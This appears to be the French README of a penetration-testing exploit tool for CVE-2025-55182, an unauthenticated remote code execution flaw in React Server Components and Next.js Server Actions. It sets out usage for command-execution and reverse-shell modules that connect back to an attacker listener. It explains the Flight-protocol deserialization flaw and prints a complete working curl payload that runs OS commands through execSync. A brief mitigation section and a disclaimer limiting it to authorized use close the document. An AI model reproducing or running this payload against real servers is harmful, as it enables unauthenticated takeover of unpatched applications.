
CVE-2025-55182 — RCE non authentifié dans React Server Components (React2Shell). Outil d'exploitation CVSS 10.0 pour tests de pénétration autorisés.
RCE non authentifiée dans les composants serveur React via une désérialisation non sécurisée du protocole Flight. Une seule requête HTTP suffit pour exécuter du code arbitraire sur le serveur — aucun identifiant ni accès préalable nécessaire.
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · Non authentifié · RCE sans authentification · Divulgué le 3 décembre 2025
Affecte React 19 (≤ 19.2.0) et toute application Next.js utilisant les Server Actions. Les configurations par défaut sont vulnérables — aucun code personnalisé nécessaire du côté de la cible.
Versions affectées
| Paquet | Vulnérable | Corrigé |
|---|---|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | tous avec React 19 non corrigé | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
Python 3.8+ requis. Aucune autre dépendance.
python exploit.py <module> -t <target> [options]
Modules:
check Fingerprint target and confirm vulnerability
exec Execute a single OS command and read the output
revshell Send a reverse shell to your listener
Options:
-t, --target URL Target URL
-c CMD Command to run (exec module)
--lhost IP Your IP (auto-detected from tun0 if not set)
--lport PORT Listening port (default: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (default: bash)
--proxy URL Route through a proxy (e.g. http://127.0.0.1:8080)
--random-agent Rotate User-Agent on each request
--timeout N Request timeout (default: 15)
Workflow recommandé — commencez toujours par check :
# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50
# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. Get a shell when you need interactivity
# (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
La prise en charge du proxy et le User-Agent aléatoire fonctionnent avec tous les modules :
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
Aide par module : python exploit.py <module> --help
Les composants serveur React communiquent via un format de streaming interne appelé le protocole Flight. Lorsqu'un navigateur invoque une Server Action, il envoie une requête POST multipart/form-data à la racine de l'application avec un en-tête Next-Action. Le serveur transmet le corps au paquet react-server pour désérialisation avant toute autre chose — y compris la validation de l'ID de l'action.
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← vulnerable
│ │
│<── 307 + X-Action-Redirect ───────│ output here
À l'intérieur de resolveModelToJSON(), le désérialiseur parcourt le bloc JSON entrant. Lorsqu'il rencontre un objet avec une propriété then, il le traite comme une Promise et l'attend — comportement intentionnel pour les composants serveur asynchrones. Le problème : aucune validation n'est effectuée pour confirmer que le thenable provient d'une source fiable.
Un attaquant injecte un bloc factice dans le corps multipart contenant une propriété then qui pointe vers require('child_process').execSync(...). React l'attend, la commande OS s'exécute.
Next-Action: x fonctionneEn production, les Server Actions sont identifiées par un hash SHA. Le serveur devrait valider ceci avant le traitement. Mais le décodeur Flight s'exécute avant cette vérification — ce qui signifie que toute requête POST avec un en-tête Next-Action, même complètement factice comme x, déclenche le chemin de désérialisation vulnérable. Aucun ID d'action valide n'est nécessaire.
Le code injecté capture la sortie de la commande et lève une erreur NEXT_REDIRECT fabriquée :
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js intercepte cela et le convertit en une 307 Temporary Redirect, intégrant le digest dans l'en-tête de réponse X-Action-Redirect. La sortie de la commande arrive encodée en URL :
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
La sortie se trouve dans l'en-tête X-Action-Redirect, encodée en URL après /login?a=.
npm install react@latest react-dom@latest next@latest
Minimum sûr : react-server ≥ 19.3.0 · next ≥ 15.3.6
Si le correctif n'est pas immédiatement possible :
experimental: { serverActions: false } dans next.config.jsNext-Action au niveau du proxy inverseNEXT_REDIRECT ou __proto__À des fins de test de pénétration autorisé et d'éducation uniquement.